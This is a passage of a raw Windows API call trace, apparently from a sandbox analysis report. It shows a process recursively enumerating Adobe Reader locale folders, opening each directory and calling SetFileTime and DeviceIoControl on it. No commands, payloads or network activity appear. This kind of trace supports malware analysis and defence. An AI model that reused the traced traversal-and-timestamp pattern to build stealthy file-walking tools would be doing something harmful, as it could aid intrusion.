fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.346] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.346] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.346] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.346] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.346] GetLastError () returned 0x12 [0251.346] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.347] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.347] GetLastError () returned 0x12 [0251.347] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.347] GetLastError () returned 0x12 [0251.347] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.348] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.348] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.348] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.353] GetLastError () returned 0x12 [0251.353] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.353] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.354] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.354] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.354] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.354] GetLastError () returned 0x12 [0251.354] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.354] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.354] GetLastError () returned 0x12 [0251.354] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.355] GetLastError () returned 0x12 [0251.355] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.355] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.356] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.356] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.356] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.358] GetLastError () returned 0x12 [0251.358] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.358] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.359] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.359] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.359] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.359] GetLastError () returned 0x12 [0251.359] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.359] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.359] GetLastError () returned 0x12 [0251.359] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.359] GetLastError () returned 0x12 [0251.359] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.359] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.361] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.361] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.361] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.363] GetLastError () returned 0x12 [0251.363] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.363] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.363] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.363] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.363] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.364] GetLastError () returned 0x12 [0251.364] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.364] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.364] GetLastError () returned 0x12 [0251.364] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.364] GetLastError () returned 0x12 [0251.364] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.365] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.365] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.365] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.367] GetLastError () returned 0x12 [0251.367] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.367] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.368] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.368] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.368] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.368] GetLastError () returned 0x12 [0251.368] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.368] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.368] GetLastError () returned 0x12 [0251.368] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.369] GetLastError () returned 0x12 [0251.369] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.370] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.370] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.370] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.371] GetLastError () returned 0x12 [0251.371] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.371] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.372] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.372] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.372] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.372] GetLastError () returned 0x12 [0251.372] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.372] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.372] GetLastError () returned 0x12 [0251.372] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.373] GetLastError () returned 0x12 [0251.373] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.373] 